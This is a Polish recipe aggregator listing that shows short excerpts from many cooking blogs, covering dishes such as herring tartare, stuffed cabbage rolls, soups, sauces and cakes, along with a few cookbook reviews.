przyprawy, próbujemy. Podajemy. Jeśli taką sałatkę podamy jeszcze lekko ciepłą może stanowić pełnowartościowy, zdrowy obiad. Multigrano z warzywami można również (bez dodawania oleju i przypraw) podać np. polane sosem pieczeniowym jasnym – smakuje wybornie w formie obiadu. Smacznego

Słodkie okruszki
Krokiety z kapustą i grzybami 263

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Garść tradycji + szczypta nowoczesności = przepis na udaną Wigilię z Galeo 157

naszą polską wspaniałą wigilijną tradycją : zupę z borowików z nalewką wiśniową tatara z łososia i mango chrupiące pierożki z łososiem śledzie z pieczonymi burakami i jarmużem karpia w szarym sosie rybny suflet ryby marynowane z żubrówką pieczonego dorsza na imbirowym mango śledzie z czarną soczewicą łososia w grzybowym ragu kutię gruszkę nadziewaną orzechami Jak zwykle działaliśmy w grupach, ja miałam

Kulinarne przygody Gatity
Grecka przekąska 219

Ciasto filo z fetą i szpinakiem. Ta inspirowaną Grecją przekąska, jest smaczna i szybka w przygotowaniu. Można ją zjeść z sałatką, albo na ciepło z sosem cacyki możliwości jest wiele. Wszystko zależy od wyobraźni. Produkty: Ciasto filo (może być francuskie), Szpinak około 450 gr, Feta, 3 duże pomidory (obrane), 2 ząbki czosnku, Troszkę startej gałki muszkatołowej, Sól, Pieprz Olej Wykonanie

Smaki Przyprawy i Kolory
Surówka z surowego kalafiora i ogórków kiszonych 181

Lubicie surówki? te do obiadu i nie tylko? Bo ja uwielbiam i zajadam ich całe mnóstwo, wystarczy tylko zetrzeć na tarce ulubione warzywa, dodać jakiś sos lżejszy lub czasami cięższy na bazie jogurtu czy majonezu i pyszna surówka gotowa. Znalazłam kiedyś u Olgi Smile surówkę z kalafiora i ogórków świeżych i postanowiłam zrobić swoją wersję. Wyszła znakomita, polecam. Surówka

Moje Małe Czarowanie
Pieczony schab z szynką parmeńską i pomarańczami (Arrosto all'arancia e prosciutto crudo) 172

świeżego rozmarynu. Na koniec mięso polewamy koniakiem. Schab pieczemy w piekarniku nagrzanym do 180 stopni przez ok. 40-45 minut, co jakiś czas polewając sosem powstałym w czasie pieczenia. **** PREPARAZIONE Pulite la lonza di maiale, rimuovete il grasso e le nervature esterne. Aggiustate di sale e di pepe. Avvolgete la carne nelle fette di prosciutto

La grande e la piccola cuoca
Tatar ze śledzia 211

Domowe rolmopsy z papryką   Śledź po kaszubsku II   Śledź wiejski Śledź po kaszubsku Śledź w oleju z pieczonymi burakami Śledź w oleju z cebulą Śledź w sosie czosnkowym Tatar ze śledzia Czas przygotowania: 20 minut + czas oczekiwania Składniki: 200 g filetów ze śledzia 2 konserwowe ogórki 1 mała cebula olej rzepakowy 1 łyżka siekanego koperku świeżo zmielony

Kulinarne przygody Gatity
Pulpeciki w sosie meksykańskim 269

Składniki: 40 dkg łopatki wieprzowej 1 mała cebula 3 ząbki czosnku 1 jajko kilka pieczarek 1 czerwona papryka 1/2 puszki czerwonej fasoli 1/2 puszki … Czytaj dalej Pulpeciki w sosie meksykańskim

czarrna od kuchni
Roladki drobiowe z salami i serem 272

będzie smakować zarówno tradycjonalistom, jak i fanom eksperymentów. Po drugie: wprowadza zróżnicowanie. Roladki można podać z ziemniakami, ryżem, kaszą lub same. Z surówką albo bez. A nawet w sosie! Równie dobrze możemy –na ciepło lub zimno – pokroić je sobie na pieczywo i też będą świetne. Po trzecie: pozwala dojeść resztki. Zostało Wam trochę żółtego sera i wędlina? Wiecie

Proste-przepisy.pl
ZAPIEKANKA JAK Z BUDKI 170

Pamiętacie zapiekanki z miasta, z budki? Długie i polane sosami? Tak właśnie. Jako małe dziecko bardzo lubiłam je jeść. Takie zapiekanki kojarzą mi się z obozami, koloniami i morzem !  Te są lepsze ! Są chrupiące, pachnące i smaczne. Na jednej się nie skończy ;) Składniki: bagietka - 1 szt. (średnia)  szynka - 100 gram  ketchup łagodny - 2 łyżki  mozzarella

Kuchnia Paulettes
ZUPA STRĄCZKOWA 173

ziemniaki 4 szt. marchew żółta 1 szt. marchew zwykła 1 szt. fasolka szparagowa 250 gram groszek zielony w strąkach 2 garści śmietana kwaśna 1 łyżka śmietana do zup i sosów 12 % 2 łyżki mąka ziemniaczana 2 płaskie łyżki woda zimna 2-3 łyżki sól 1 łyżeczka pieprz do smaku koper świeży 4 łyżki  natka pietruszki 2 łyżki  maggi

Kuchnia Paulettes
PASTA JAJECZNO TUŃCZYKOWA 176

łyżki Sposób przygotowania: 1. Jaja pokroić na mniejsze części. Umieścić w misce. Dokładnie zmiksować blenderem. 2. Tuńczyka odsączyć z sosu. Dodać do jaj i ponownie zmiksować aż konsystencja będzie gładka.  Dodać  majonez, sól, pieprz, szczypior i pokrojoną w drobną kostkę cebulę

Kuchnia Paulettes
SPAGHETTI ZE SZPINAKIEM I ŁOSOSIEM W ŚMIETANOWYM SOSIE 184

Zdrowa wersja spaghetti, która składa się z wartościowego łososia, pełnoziarnistego makaronu oraz szpinaku i czosnku w delikatnym sosie śmietankowym. Każdy składnik ma jakąś zaletę. Oprócz tego, że świetnie smakuje to dodatkowo super wygląda.  Składniki : makaron pełnoziarnisty 3/4 opakowania szpinak świeży 200 gram łosoś bez skóry 400 gram czosnek 4 ząbki sól 1 łyżka sok z cytryny ok. 1 łyżki

Kuchnia Paulettes
ZAPIEKANE MIĘSNE KULKI Z WARZYWAMI POD CZONSKOWYM BESZAMELEM 156

mocno. Wtedy stopniowo wlewać mleko oraz dodać posiekany czosnek. Energicznie mieszać, aby masa była płynna i bez grudek. Jeśli jednak pojawią się grudki to można przetrzeć sos przez sitko. Dodać ser, sól i pieprz. Wymieszać. Wylać na kulki.  5. Na wierzch ułożyć ser żółty oraz posiekaną natkę pietruszki. Wstawić do nagrzanego piekarnika do 180 stopni

Kuchnia Paulettes
KREMOWA ZUPA PIECZARKOWA 179

marchew 1 szt. grzybki suszone 2 szt.  cebula 1 szt.  olej 2 łyżki ziele angielskie 2 kulki śmietana kwaśna 2 łyżki śmietana do zup i sosów 12 %  2 łyżki mąka ziemniaczana 2 łyżki kość schabowa 1 szt.  zimna woda ok. 2-3 łyżek Sposób przygotowania: 1. Ziemniaki, marchew, cebulę i pieczarki obrać. Ziemniaki i marchew, cebulę

Kuchnia Paulettes
Paprykarz z tuńczyka z dodatkiem melisy 184

śniadanie i na kolację. Polecam, bo jest naprawdę świetny. Mi smakuje na chrupkim chlebku np. wazie, bo lubię kiedy mi coś chrupie w buzi.  Składniki: tuńczyk w sosie własnym 2 puszki ryż 1 torebka sól, pieprz do smaku przecier pomidorowy 4-5 łyżeczek ketchup pikantny 2 łyżki papryka słodka mielona 1 łyżka  natka pietruszki 1 garść listki

Kuchnia Paulettes
KURCZAK W CURRY ZAPIEKANY Z WARZYWAMI I SEZAMEM 171

Kurczak jest soczysty i czuć sezam, który  z połączeniem z curry nadaje dość oryginalnego smaku.  Warzywa, które są zamrożone a potem podczas pieczenia puszczają soki tworzą smaczny sos, który można zagęścić lub nie i polać ziemniaki. Ja osobiście wolę nie zagęszczany, bo po co dodawać mu kalorii. Takie ćwiartki śmiało można podać jako jedno z dań na ciepło

Kuchnia Paulettes
SOLONE CIASTO KARMELOWE Z SEREM 164

popcorn i orzeszki solone. Miałam ser i karmel, tak też to połączyłam dodałam sól i powstało ciasto z serem o smaku solonego karmelu. Całość jednak dodatkowo polałam domowym sosem karmelowym, który jest prosty w przygotowaniu. Ciasto jest mięciutkie, słodko - słone i wilgotne.   Składniki blacha 25x35 cm. : Ciasto : cukier brązowy 1 szkl. masło miękkie 125 gram jaja 4 szt. proszek

Kuchnia Paulettes
CANNELLONI Z FARSZEM MIĘSNYM Z PRZEWAGĄ PAPRYKI I PIECZAREK POD BESZAMELEM 195

energicznie mieszając, aż dobrze się rozpuści. Powoli wlewać mleko i mieszać. Doprawić solą, pieprzem.Ser zetrzeć na tarce o drobnych oczkach i dodać do beszamelu. Mieszać aż się rozpuści a sos zgęstnieje.  Gotowym beszamelem polać makaron. Wstawić do nagrzanego piekarnika do 180 stopni

Kuchnia Paulettes
SZPINAKARZ CZYLI PAPRYKARZ SZPINAKOWY 191

się na kanapkach, starczy na dużo kanapek i jest aromatyczna ! :)  A no i ma piękną zieloną barwę :)  Zielony jest zdrowy dla wzroku xD  Składniki: tuńczyk w sosie własnym 2 puszki ryż 1 torebka szpinak mrożony 250 gram mascarpone 2 łyżki sól i pieprz do smaku czosnek 1 ząbek koperek 1 łyżka sól 1 łyżeczka ( do ryżu ) Metoda

Kuchnia Paulettes
KREM CUKINIOWO KALAFIOROWY Z GRZANKAMI 180

SKŁADNIKI: bulion warzywny 1 l.  cukinia 200 gram  kalafior 200 gram  cebula czerwona 1 szt. por biała część ok. 8 cm śmietana 12 % do zup i sosów ok. 100 ml.  koper suszony 1 łyżka sól, pieprz do smaku masło 1 łyżka chleb razowy 2 kromki czosnek 3 ząbki oliwa z oliwek 2 łyżki filet drobiowy

Kuchnia Paulettes
PASTA Z TUNCZYKA 178

odsączyć z wody (oleju), umieścić w misce. Rozdrobnić widelcem. Jaja i ogórki pokroić w drobną kostkę. Dodać do tuńczyka. Majonez, tabasco, ketchup wymieszać razem ze sobą, aż powstanie jednolity sos. Wlać do tuńczyka. Wymieszać. Wsypać koperek i doprawić solą i pieprzem do smaku. Wymieszać

Kuchnia Paulettes
PROSTA ZAPIEKANKA BROKUŁOWO CZOSNKOWA 170

zrobić zapiekankę. Wystarczy kilka głównych składników, do tego beszamel i powstaje pyszna, syta zapiekanka. Moja propozycja to zapiekanka z brokułami, czosnkiem, kurczakiem i makaronem zapieczone pod beszamelem. Wszystko pod sosem jest soczyste, chrupkie i delikatne, a brokuł ma piękną zieloną barwę.  SKŁADNIKI: brokuł 0.5 kg.  filety z kurczaka 3 szt.  makaron pełnoziarnisty z mąki durum rurki

Kuchnia Paulettes
ZŁOCISTA BABKA ZIEMNIACZANA 217

pokolenia na pokolenie. Najlepsza to taka, którą przygotuje babcia. Babkę można podawać na gorąco jak i na zimno. Pokrojona w plastry lub romby prezentuje się wspaniale. Można polać ją sosem, najlepiej grzybowym lub podać z podsmażonym wędzonym boczkiem. Pyszności. A gdy zostanie na następny dzień można ją podsmażyć i dalej będzie pyszna. Babka jest zdrowszą wersją placków ziemniaczanych, gdyż placki

Kuchnia Paulettes
Kiszona marchew z natką pietruszki i jabłkiem 268

kiszona marchew jest bardzo, bardzo smaczna a jej zastosowanie w kuchni jest ogromne.  Do czego używamy? Jemy samą a sok wypijamy. Jako surówkę lub składnik surówek, sałatek, zup, sosów albo jako jeden ze składników do sajgonek czy naleśników. Jej zastosowanie może tylko ograniczać nasza wyobraźnia :). Marchew po ukiszeniu nic a nic nie traci na kolorze! Jest kilka sposobów

Leśny Zakątek
Szakszuka - jajka gotowane w pomidorach 185

masło. Dodać czosnek. Chwilę smażyć. Następnie dodać pokrojone na mniejsze kawałki pomidory. Całość przyprawić solą, pieprzem i ostrą papryką. Smażyć na średnim ogniu tak długo, aż pomidory zmiękną i sos lekko się zredukuje. Następnie dodać szczypiorek i w pomidorach zrobić dwa wgłębienia, w które wbić jajka. Przyprawić je solą oraz pieprzem. Patelnię przykryć pokrywką i gotować około 3-4 minuty

Ugotować
Indyk pieczony w całości 341

Wstawić indyka do piekarnika nagrzanego do 120 -130 stopni. Piec, aż termometr wskaże 71 stopni. Długość pieczenia zależy od wilk ości indyka. W trakcie pieczenia polać kilka razy wytworzonym sosem. Pierwszy raz polać po godzinie. Ja swojego indyka piekłam niecałe 3 godziny. Upieczonego indyka wyjąć z piekarnika i odstawić na 15 minut, aby odpoczął

królestwo garów
Gotowany brokuł z prażonym sezamem. Jak uprażyć sezam? 283

Następnie, po odcedzeniu, przelałam go zimną wodą. Dzięki temu zachowają swój kolor, chrupkość i konsystencję Do małej salaterki/filiżanki wlałam olej sezamowy, wywar i dodałam sezam Brokuły polać sosem i posypać sezamem Smacznego

www.szczesliwakuchnia.blogspot.com
Gotowany brokuł z prażonym sezamem. Jak uprażyć sezam? 283

Następnie, po odcedzeniu, przelałam go zimną wodą. Dzięki temu zachowają swój kolor, chrupkość i konsystencję Do małej salaterki/filiżanki wlałam olej sezamowy, wywar i dodałam sezam Brokuły polać sosem i posypać sezamem Smacznego

Szczęśliwa kuchnia
kotlety ziemniaczano-miesne 212

masy uformować kotlety ,lekko spłaszczyć. Rozgrzać na patelni olej, na gorący tłuszcz kłaść kotlety, smażyć z obydwu stron  na złocisty kolor na niewielkim ogniu. U mnie z sosem grzybowym i kapusta kiszona Smacznego

w mojej kuchni
Kurczak pieczony w całości z chorizo 170

pieczemy przez 10 minut. Po tym czasie  zmniejszamy temperaturę do 180 stopni, podlewamy kurczaka wodąi pieczemy przez 1,5 godziny.  Podczas pieczenia co jakiś czas polewamy kurczaka sosem zbierającym się na dnie naczynia. Upieczonego kurczaka wyjmujemy z piekarnika i kroimy na porcje. Smacznego

bistro mama
Burrito z czarną fasolą i cheddarem 166

patelni, dodajemy passatę, czosnek, posiekane drobno chili, zioła i odsączoną i przepłukaną fasolę. Całość doprawiamy przyprawami, które wcześniej ucieramy w moździerzu oraz sokiem z limonki i dusimy aż sos zgęstnieje. Marchewkę drobno ścieramy i mieszamy z chrzanem, doprawiamy do smaku. Na tortille nakładamy po 2 łyżki farszu, marchewki oraz trochę pokrojonego w kosteczkę sera. Składamy je i opiekamy w grillu

Mienta blog
Kuchnia Polska wg Pawła Małeckiego czyli słodkie warsztaty z Lidl Polska 213

Warsztaty poprowadził mistrz cukiernictwa Paweł Małecki. Wszyscy podzieliliśmy się na kilka mniejszych grup. Każda grupa miała za zadanie przygotować: -tartę z jabłkami -przepyszne oponki z sosem malinowym, a na końcu dekorowaliśmy: -piernik staropolski z powidłami śliwkowymi, marcepanem i czekoladą Ja miałam przyjemność gotować razem z  Renatą , Olą i  Karolą . Razem stworzyłyśmy

Marta Gotuje
Prosta surówka z marchewki i rzodkiewki 371

się cieszyć pysznym dodatkiem do obiadu. Inne przepisy na surówki znajdziecie tutaj (klik) Jeśli na obiad macie kotlety, frytki lub zapiekane ziemniaczki polecam Wam również wzbogacić ich smak pysznymi sosami Folwark, które możecie nabyć na Frisco.pl (przekierowanie do sklepu – kliknij w baner po prawej stronie) Składniki: 3 marchewki 1 cm pora (biała część) 2 i 1/2 łyżki majonezu

Słodkie okruszki
Spaghetti z pesto sycylijskim, krewetkami i szpinakiem 215

Makaronowych Mistrzostwach Dziennikarzy i Blogerów. Składniki na 4 porcje: Pesto: 100 g płatków migdałowych 2 ząbki czosnku 1 papryczka chili 4 filety anchois (nie będzie ich czuć w sosie) duży pęczek bazylii 2-3 czubate łyżki startego parmezanu 4-6 łyżek oliwy z oliwek sól, pieprz   Dodatkowo: 12-16 krewetek królewskich mrożonych 1 ząbek czosnku 1/2 papryczki chili

Kulinarne Inspiracje
Gołąbki z ryżem i mięsem mielonym 631

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Sernik z kokosem na cienkim cieście 276

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
Muffiny dyniowe z kremem i sosem z rokitnika 187

MUFFINY DYNIOWE to obowiązkowa pozycja w sezonie na dynie, nie... Artykuł Muffiny dyniowe z kremem i sosem z rokitnika pochodzi z serwisu CookMagazine

COOKMAGAZINE
Pieczona pierś indyka z jabłkami i cytryną 227

muszę przyznać, że chyba powoli skłaniam się ku częstszemu przygotowywania go w mojej kuchni. Ten przepis mogę wam polecić z czystym sumieniem. Mięso jest smaczne, a w płączeniu z sosem

Polska Zupa
Zioła szwedzkie przepis na nalewkę 222

Czytaj więcej » Blog kulinarny pełen przepisów na codzienne posiłki, dania wykwintne, ciasta, torty, babeczki i sosy. Potrawy z ryb i mięs

Ekspansja smaku
domowy burger z konfiturą cebulową 183

Bułkę rozkrajamy, wkładamy na minutę do rozgrzanego piekarnika. dolną część bułki smarujemy ketchupem, układamy kolejno: sałatę, konfiturę cebulową, kotlet wołowy, ser, ogórki i pomidor. Przykrywamy górną częścią bułki posmarowaną sosem majonezowo - musztardowym. Smacznego

Cook&Love
spaghetti z owocami morza 214

szron' przykrywamy i czekamy do całkowitego rozmrożenia od czasu do czasu mieszając.  Gdy owoce morza rozmarzną dodajemy sól, pieprz i pomidory z puszki. Zmniejszamy ogień i gotujemy aż sos zredukuje się do pożądanej gęstości.  Dodajemy cukier, natkę pietruszki, bazylię i przekrojone na pół pomidorki koktajlowe oraz sól i pieprz do smaku.  Podajemy z makaronem spaghetti. Smacznego

Cook&Love
Pomidorowe spaghetti bez mięsa 217

marchewkę, pod koniec dodajemy czosnek, podsmażamy kilka sekund, po czym wlewamy passatę. Dodajemy przyprawy. Gotujemy na małym ogniu przez około 20 minut do zredukowania płynów. 3. Makaron łączymy z sosem. Przed podaniem posypujemy startym serem, dekorujemy listkami bazylii

Szefowa kuchni
Placki z ziemniaków nadziewane szpinakiem 376

farszem ze szpinaku i sera feta. Taki farsz uwielbiam w każdej postaci – w naleśnikach, pierogach czy właśnie plackach Z przepisu wychodzi 8 średniej wielkości placków. Najlepiej podawać z sosem czosnkowym. 500 g ziemniaków 1 jajko 1 szklanka mąki pszennej + do podsypywania (ok. 1/2 szklanki) szczypta soli szczypta pieprzu Farsz: 200 g mrożonego szpinaku 1 ząbek czosnku 50 g sera

Bullio
ROLADKI ŚLEDZIOWE ZE ŚLIWKĄ W ŚMIETANIE 174

przyprawami, dodajemy wyciśniętą cebulę i pokrojonym 1  ogórki.  Filety rozkładamy na desce, na każdy kładziemy śliwkę i kawałek ogórka. Zwijamy i spinamy wykałaczką.  Na półmisek wylewamy sos śmietanowy, układamy roladki śledziowe, posypujemy natką pietruszki i owocem granatu. Podajemy schłodzone, smacznego

Kulinarne Fantazje Marioli
#1 Malezja: Kuala Lumpur 156

pamięci jak właśnie odczucia sensoryczne. Zdjęcia pozwolą odtworzyć wszystko co wzrokowe, nagrania dadzą mi dźwięki, a zapiski w notesie przywołają ludzi i chwile.. A smak ? Przyprawy, suszone owoce, sosy zamknięte w słoiczkach. Te substytuty nigdy nie oddadzą tego co czujesz jedząc Nasi lemak  w „brudnym„ mammaku, czy pochłoniętego z ogromną szkodą dla mojej białej bluzki czerwonego miąższu

Gawron w rosole
#3 Malezja: nie bój się Azji ! 187

Mijając stragany z ogromnymi garami tłuszczu w których skwierczały obiady dla tubylców nie mogłam się temu nadziwić. Bo jak to... jedzenie najważniejszym posiłkiem dnia, najlepiej smażone, dużo ryżu i sosów, ah no i nie zapominajmy o panierkach. O zgrozo! Gdzie żywieniowiec w takim świecie odnajdzie sens wpajanej mu nauki ?! No ale... McDonalny puste, KFC nie widać, czekolada, chemia...? Tylko

Gawron w rosole
Żeberka w sosie śmietanowym z grzybkami suszonymi 162

Dawno nie było żeberek...no i zrobiłam..w sosie śmietanowym z dodatkiem suszonych grzybków..mniam.. 1 kg żeberek mąka 1 cebula 2 ząbki czosnku 2 marchewki kilka suszonych grzybków sól,pieprz  listki laurowe, ziele angielskie majeranek  bulion około 1 szkl.śmietany koperek Żeberka pokroić na mniejsze kawałki, obtoczyć w mące.Rozgrzać olej i podsmażyć żeberka lekko

Moje domowe kucharzenie
Łosoś z pomarańczą 149

pieprzem, połowę pomarańczy kroję w plasterki, z drugiej połowy wyciskam sok, przelewam do miseczki, dodaje do niego miód i cynamon, mieszam, nacieram łososia, przekładam do naczynia żaroodpornego, resztą sosu polewam łososia już w naczyniu. Na wierzch daję plasterki pomarańczy. Piekę w 180 stopniach jakieś 25 minut. W międzyczasie gotuję kaszę, myje roszponkę, do umytej dodaję słonecznik, kukurydzę i troszkę oliwy

kruche babeczki
Białkowy omlet ze szpinakiem i orzeszkami ziemnymi. 168

indyka, orzechy ziemne, banany i świeże warzywa. Dlatego też chciałam dzisiaj Wam pokazać posiłek, który zapewne każdy sportowiec zjadłby ze smakiem! Białkowy omlet po treningowy, ze szpinakiem w sosie czosnkowym i prażonymi orzeszkami ziemnymi! Pysznie! SKŁADNIKI: - 1 jajo ekologiczne - 1 białko jaja kurzego - 1 porcja odżywki białkowej That's the Whey - SPORT DEFINITION - szczypta soli i chili - 1-2 ząbki

SMYKWKUCHNI
Udka potrójnie czosnkowe 293

amatorów czosnku – smakowita propozycja🙂 Składniki 1 kg udek 4 ząbki czosnku sos chili-czosnkowy czosnek suszony w płatkach sól, pieprz słodka papryka olej Sposób przygotowania Czosnek kroimy w plasterki, … Czytaj dalej Udka potrójnie czosnkowe

czarrna od kuchni
Naleśniki mojego dzieciństwa 229

więcej cukru. Tak samo jest z konsystencją i dodaniem ilości śmietany. Czekoladę rozpuszczamy w kąpieli wodnej i dodajemy kremówkę (bez ubijania) Smażymy nasze naleśniki, smarujemy serem i polewamy ciepłym sosem czekoladowym posypując na koniec na bogato wiórkami kokosowymi. Ja dorzuciłam jeszcze klika płatków migdałów do dekoracji. Naleśniki są przepyszne i bardzo syte!  Polecam wszystkim mamą :) ponieważ każde dziecko kocha

W Moim Magicznym Domu
Mule na maśle czosnkowym z nutką białego musującego wina 191

masło czosnkowe dodajemy Oliwę z oliwek . Często mieszając dodajemy  wino i odrobinę wody - redukujemy . Wino musi wyparować. Wkładamy muszle  do środka i staramy się połączyć z naszym sosem czosnkowym w razie konieczności podlać odrobiną wody .  Smacznego

Viola cooks with passion
Pierogi ze szpinakiem 255

patelni i na wolnym ogniu odmrozić. Dodać pokruszony twaróg oraz pokrojony w kostkę i podsmażony boczek. Całość doprawić solą i pieprzem. Smażyć cały czas mieszając do momentu zredukowania powstałego sosu. Odstawić do wystygnięcia. 3. Ulepić pierogi i ugotować w osolonej wodzie. 4. Podawać na ciepło z cebulą podsmażoną na maśle

A Ty Smakuj Mnie
Topinambur pieczony z rozmarynem i pomarańczą 502

podobne do ziemniaków chociaż to według mnie bardzo luźne porównanie. Ale na pewno można ich używać zamiast ziemniaków jako dodatek do różnych dań. Topinambur nadaje się do zup, sosów, do pieczenia, duszenia i gotowania. Można zrobić z niego chipsy albo frytki . Można zjeść w surówce chociaż spożywane na surowo mogą powodować wzdęcia. Topinambur można też ususzyć a potem zmielić

Smaczna Pyza
Modra kapusta z jablkami 210

całości spora szczypta cynamonu, soli i pieprzu 1 jabłko Kapustę kroimy niezbyt drobno. W miseczce mieszamy ocet, olej i przyprawy. \Kapustę wrzucamy do blaszki i dokładnie mieszamy z sosem. Naczynie wkładamy do piekarnika nagrzanego do 200 st.C. Pieczmy 10 minut. Po tym czasie dorzucamy jabłko obrane i pokrojone w kostkę. Mieszamy i pieczemy dalsze 15 minut mieszając co 5 minut

Dzieje kuchennej Wiewióry
"Kuchnia Polska" Ewa Aszkiewicz 150

propozycji :-) Staropolskie potrawy na dni postne i nie tylko - zakwas na żurek, postny żurek, zupa mleczna "dziadówka", duszone ziemniaki z "oszukaną" jajecznicą Jarzyny, surówki i sałatki - np. seler w sosie śliwkowym, pory zapiekane, surówka z dyni wykwintna, jarzynka z kabaczka i inne. Dania codzienne - np. kluski zbójnickie, grzyby na boczku, pomidory zasmażane z kurczakiem, naleśniki z farszem jajecznym, kabaczki zawijane

kruche babeczki
Udka w sosie własnym 204

Udka w sosie własnym to danie mojego dzieciństwa. Miękka skórka, soczyste i aromatyczne mięso z kurczaka. Proste i szybkie do przygotowania. Takie udka najlepiej smakują podane z ziemniakami lub kluskami (swoje udka podałam z buraczanymi kluskami śląskimi ). Zachęcam do przygotowania :) Składniki na porcję dla 4 osób: 4 duże udka z kurczaka woda do przykrycia mięsa (około 2 szklanki) 1 średniej

Ugotować
Pulpety w sosie pomidorowym. 166

już nam zacznie wrzeć wrzucamy nasze pulpeciki, ziele angielskie oraz liść laurowy, doprawiamy papryką wędzoną mieloną oraz pieprzem, kiedy pulpety nam wypłyną dodajemy koncentrat pomidorowy oraz zahartowaną śmietanę. Mieszamy. Sos zagęszczamy zasmażką.  Podajemy z ziemniakami i surówką. Smacznego

Moje-pitraszenie
Śledzie pod pierzynką 211

łatwości w konserwacji, bo wystarczy ją zasolić, by znacznie przedłużyć jej trwałość. Śledź pod pierzynką z jajek, cebuli, startego sera i majonezu to jedno z najpopularniejszych połączeń smakowych. Ciężki sos majonezowy można jednak zastąpić nieco lżejszą wersją z dodatkiem śmietany lub jogurtu greckiego. Składniki: 4 filety śledziowe majonez/jogurt grecki/śmietana 4 jajka "O" ugotowane na twardo 2 cebule starty miękki

Gotuj zdrowo!Guten Appetit!
Warsztaty kulinarne z LIDL Polska i Pawłem Małeckim. Nowa książka KUCHNIA POLSKA 174

prosty przepis, na ciasto ucierane na bazie masła; przepis jest też bazą do wypieków ciast np. z malinami czy jeżynami, owoce, które użyjemy to nasz wybór - Oponki serowe z sosem malinowym- to zdecydowanie mój powrót do lat dzieciństwa, bo takie oponki, przygotowywała również moja babcia - Piernik- niesamowicie wilgotny, aromatyczny i lekko ostry w smaku; zachwycił mnie całkowicie, a samo dekorowanie

SMYKWKUCHNI
MAKARON Z KURCZAKIEM I CUKINIĄ 250

Cukinia ma wiele twarzy :) zwłaszcza, w pełni sezonu ... Dziś jej odsłona w połączeniu z makaronem  i kurczakiem w śmietanowym sosie. Bardzo smaczne, proste połączenie. Składniki: makaron 1 pierś z kurczaka 1 cebula ząbek czosnku 1 cukinia olej koperek śmietana 18% sól pieprz słodka i ostra papryka Wykonanie:  Na niewielkiem ilości oleju podsmażamy pokrojoną cebulę, a następnie czosnek. Dodajemy

Walijskie Pichcenie
Sałatka z tuńczykiem i fasolą 187

użyłam mix sałat Fit&Easy , mają teraz nowe bardziej czytelne opakowania. Składniki: 1 opakowanie mix sałat Cool Fit&Easy 1 puszka czerwonej fasoli 2 puszki tuńczyka w sosie własnym 1 papryka czerwona 1 papryka żółta 4 łyżki oleju lnianego Sól, pieprz 2 łyżki ziaren sezamu Sposób przygotowania: Tuńczyka i fasolę odsączamy z zalewy, obydwie papryki myjemy i usuwamy

Bajeczna Kuchnia
Barszcz Czerwony Z Ziemniaczkami 219

rozrabiamy w mleku i śmietance, mąkę wraz z barszczem (całość jest bardzo gęsta więc od razu pomagam sobie niezaprawionym gotującym się barszczem -hartuje całość ) Wyjmujemy kiełbaskę na czas zagęszczania sosu. 4. Tak zahartowaną i rozrzedzoną zawiesinę, wlewamy przez sitko do gotującego się barszczu. Teraz dodajemy roztarty w dłoniach majeranek i całość gotujemy jeszcze około 5-10 min doprawiając

Gotowanie...to proste !
Bistro La Cocotte 143

zamówiliśmy boeuf bourguignon - wołowinę po burgundzku. Danie klasyczne i w wydaniu La Cocotte bardzo udane. Idealnie uduszone w czerwonym winie policzki wołowe, podane w gęstym, świetnie doprawionym winno-warzywnym sosie, z gotowanymi i podpieczonymi ziemniakami w mundurkach. Mięso delikatne, miękkie, rozpływające się w ustach. No cóż, klasyka w bardzo dobrym wydaniu. Mało widowiskowe danie, bardzo efektownie podane. Wszystkie smaki bardzo

królestwo garów
Kuchnia Polska z Pawłem Małeckim, czyli słodkie warsztaty z Lidl 176

słodko" i wspólnie z innymi blogerami podziwiać fach znakomitego cukiernika Pawła Małeckiego. W kilkuosobowych grupach przygotowaliśmy trzy ciasta: Ciasto ucierane z jabłkami i kruszoną maślaną Oponki serowe z sosem malinowym Piernik z powidłami śliwkowymi, marcepanem i czekoladą. Paweł Małecki zdradził nam kilka trików, które na pewno wykorzystam w kuchni, a także odpowiadał na wszystkie pytania, z uśmiechem pozował do zdjęć

Kuchnia Bon Appetit
Grzanki serowe z chorizzo 234

kroimy w plasterki - rozkładamy na ser. Całość posypujemy papryką i zapiekamy w nagrzanym piekarniku 7 minut - opcja grill 220 stopni. Gotowe zapiekanki posypujemy parmezanem i podajemy z ulubionym sosem. Uwaga: Jeżeli grzanki podajemy w formie przekąski to każdą bułkę kroimy na 4 części (przed zapiekaniem

Alutka-Gotuje
Domowa adżika 209

zmiksowałam. Wymieszałam i dodałam oliwę (jakieś 100 ml). Zgodnie z zaleceniami cioci zostawię w lodówce na tydzień i będę mieszać (potrząsać). Przechowujemy w lodówce albo w zimnej piwnicy. Sos możemy też pasteryzować, ale niestety straci trochę na smaku

Szybko Tanio Smacznie
Karkówka duszona z warzywami 270

papryką pod sam koniec duszenia. Karkówkę duszoną z warzywami podawać według uznania: z kaszami, ryżem lub tak jak u mnie z ziemniakami z wody. Zobacz również: Karkówka w sosie słodko-kwaśnym

Kuchcik gotuje
Sałatka na słodko z pomarańczą. 179

sitku. Śmietanę przyprawiamy cukrem do smaku i sokiem z limonki, mieszamy.  Do sałaty dodajemy, pokrojone pomidorki,orzechy słonecznik i na wierzchu układamy fileciki z pomarańczy, przed podaniem polewamy sosem jogurtowym. Smacznego

Sama słodycz i szczypta chili
"Kolorowa kuchnia roślinna" Magdalena Gembacka 162

farszem warzywno - ryżowym, klopsy z grochu z suszonymi pomidorami i jarmużem :-) sałatki i surówki: z grillowanymi warzywami i komosą ryżową, tęczowa sałatka, czy sałatka z pieczonych buraków z sosem piernikowym (mniam :-))) napoje i koktajle: napój rabarbarowo - truskawkowy z bazylią, wytrawny koktajl warzywny, gorąca czekolada z daktylami :-))) desery i wypieki: wegańskie tiramisu, trufle marchewkowe, piernik buraczany i wiele innych pyszności :-) Podsumowując

kruche babeczki
Najlepsze książki o fermentacji 2016 190

